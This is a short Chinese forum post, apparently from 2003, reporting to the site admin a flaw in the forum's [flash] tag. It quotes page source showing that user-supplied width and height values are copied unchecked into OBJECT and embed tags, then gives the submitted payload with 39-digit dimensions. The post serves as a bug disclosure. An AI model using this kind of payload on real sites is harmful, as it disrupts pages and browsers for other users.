站长我还是table 昨天偶然间发现本站程序上的一个漏洞。：P
请看原码：
<td height=20 valign=top><table align=center width=100% height=100% style="table-layout:fixed; word-break:break-all"><tr><td width=8><img src=../images/blank.gif width=8 height=2></td><td valign=top>
<table align=center width=100% border="0" cellspacing="0" cellpadding="0"><tr><td>
<img src=../images/bf/face0.gif align=absbottom width=20 height=20>发表: 2003-05-06 17:50:15 人气:<b>1</b> <a href="Announce2.asp?BoardID=900&ID=416871&submitflag=first&repost=1"><img src=../images/re.gif border=0 title=引用回复 align=absmiddle width=16 height=16></a> <a href="../User/SendMessage.asp?SdM_ToUser=td"><img src=../images/message.GIF border=0 title=给td发消息 align=absmiddle width=16 height=16></a> <a href="Editannounce.asp?BoardID=900&ID=416871"><img src=../images/edit.gif border=0 title=修改帖子内容 align=absmiddle width=16 height=16></a> <a href='javascript:opw("AddFriend.asp","AddSureFlag=yes&FriendName","td");'><img src=../images/friend.gif border=0 title=加此用户为好友 align=absmiddle width=16 height=16></a> <a href='javascript:opw("Collectannounce.asp","CollectID",416871);'><img src=../images/collect.GIF border=0 title=收藏此主题 align=absmiddle width=16 height=16></a></td><td align=right><font color=888888><b>楼主</b></font></td></tr></table><br><span style="line-height:15pt;"><b>test</b><br><br>
<a href="dd" TARGET=_blank><IMG SRC=../images/FileType/swf.gif border=0 alt=点击开新窗口欣赏该FLASH动画! height=16 width=16>[全屏欣赏]</a><br><OBJECT codeBase=http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=4,0,2,0 classid=clsid:D27CDB6E-AE6D-11cf-96B8-444553540000 width=99999999999999999999999999999999999999999 height=9999999999999999999999999999><PARAM NAME=movie VALUE="dd"><PARAM NAME=quality VALUE=high><embed src="dd" quality=high pluginspage='<a target=_blank href=http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash'>http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash'</a> type='application/x-shockwave-flash' width=99999999999999999999999999999999999999999 height=9999999999999999999999999999>dd</embed></OBJECT><br>
<br>
</span><br><img src=../images/blank.gif width=2 height=2>
</td></tr>
提交:
[f lash=999999999999999999999999999999999999999,999999999999999999999999999999999999]http://127.1.0.0/1.swf[ /flash]
程序会将默认的width & height 改为我们定义的。如果宽度过大，很容易..........：（
验证一下。